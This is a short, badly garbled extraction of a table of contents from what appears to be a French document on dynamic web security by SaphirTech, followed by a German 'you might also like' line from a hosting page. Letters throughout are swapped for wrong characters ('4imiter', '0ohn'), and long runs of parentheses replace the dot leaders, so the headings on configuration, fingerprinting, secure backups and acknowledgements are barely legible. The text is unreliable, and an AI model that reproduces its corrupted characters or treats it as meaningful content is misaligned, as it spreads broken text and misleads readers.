http)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;; Configuration de 131)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;; 4imiter le fingerprinting)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;C !auvegardes scurise))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));C <) Conclusion)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;J S) &emerciements))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;J 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
;N/;<

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

;</;<

Das könnte Ihnen auch gefallen